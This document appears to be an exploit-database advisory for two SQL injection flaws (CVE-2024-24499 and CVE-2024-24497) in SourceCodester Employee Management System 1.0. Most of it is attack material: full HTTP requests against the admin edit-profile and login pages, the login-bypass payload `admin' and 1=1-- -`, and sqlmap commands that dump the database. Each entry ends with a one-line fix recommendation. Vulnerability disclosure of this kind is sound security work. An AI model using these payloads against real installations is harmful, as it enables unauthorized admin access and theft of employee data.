Employee Management System 1.0 SQL Injection

# Exploit Title: Employee Management System 1.0 - `txtfullname` and `txtphone` SQL Injection# Date: 2 Feb 2024# Exploit Author: Yevhenii Butenko# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/16999/employee-management-system.html# Version: 1.0# Tested on: Debian# CVE : CVE-2024-24499### SQL Injection:> SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.### Affected Components:> /employee_akpoly/Admin/edit_profile.php> Two parameters `txtfullname` and `txtphone` within admin edit profile mechanism are vulnerable to SQL Injection.![txtfullname](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_edit_txtfullname_sqli.png?raw=true)![txtphone](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_edit_txtphone_sqli.png?raw=true)### Description:> The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.## Proof of Concept:### SQLMapSave the following request to `edit_profile.txt`:```POST /employee_akpoly/Admin/edit_profile.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 88Origin: http://localhostConnection: closeReferer: http://localhost/employee_akpoly/Admin/edit_profile.phpUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1txtfullname=Caroline+Bassey&txtphone=0905656&old_image=uploadImage%2Fbird.jpg&btnupdate=```Use `sqlmap` with `-r` option to exploit the vulnerability:```sqlmap -r edit_profile.txt --level 5 --risk 3 --batch --dbms MYSQL --dump```## RecommendationsWhen using this Employee Management System, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.------------------------# Exploit Title: Employee Management System 1.0 - `txtusername` and `txtpassword` SQL Injection (Admin Login)# Date: 2 Feb 2024# Exploit Author: Yevhenii Butenko# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/16999/employee-management-system.html# Version: 1.0# Tested on: Debian# CVE : CVE-2024-24497### SQL Injection:> SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.### Affected Components:> /employee_akpoly/Admin/login.php> Two parameters `txtusername` and `txtpassword` within admin login mechanism are vulnerable to SQL Injection.![txtusername](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_login_txtusername_sqli.png?raw=true)![txtpassword](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_login_txtpassword_sqli.png?raw=true)### Description:> The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.## Proof of Concept:### Manual ExploitationThe payload `' and 1=1-- -` can be used to bypass authentication within admin login page.```POST /employee_akpoly/Admin/login.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 61Origin: http://localhostConnection: closeReferer: http://localhost/employee_akpoly/Admin/login.phpCookie: PHPSESSID=lcb84k6drd2tepn90ehe7p9n20Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1txtusername=admin' and 1=1-- -&txtpassword=password&btnlogin=```### SQLMapSave the following request to `admin_login.txt`:```POST /employee_akpoly/Admin/login.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 62Origin: http://localhostConnection: closeReferer: http://localhost/employee_akpoly/Admin/login.phpUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1txtusername=admin&txtpassword=password&btnlogin=```Use `sqlmap` with `-r` option to exploit the vulnerability:```sqlmap -r admin_login.txt --level 5 --risk 3 --batch --dbms MYSQL --dump```## RecommendationsWhen using this Employee Management System, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.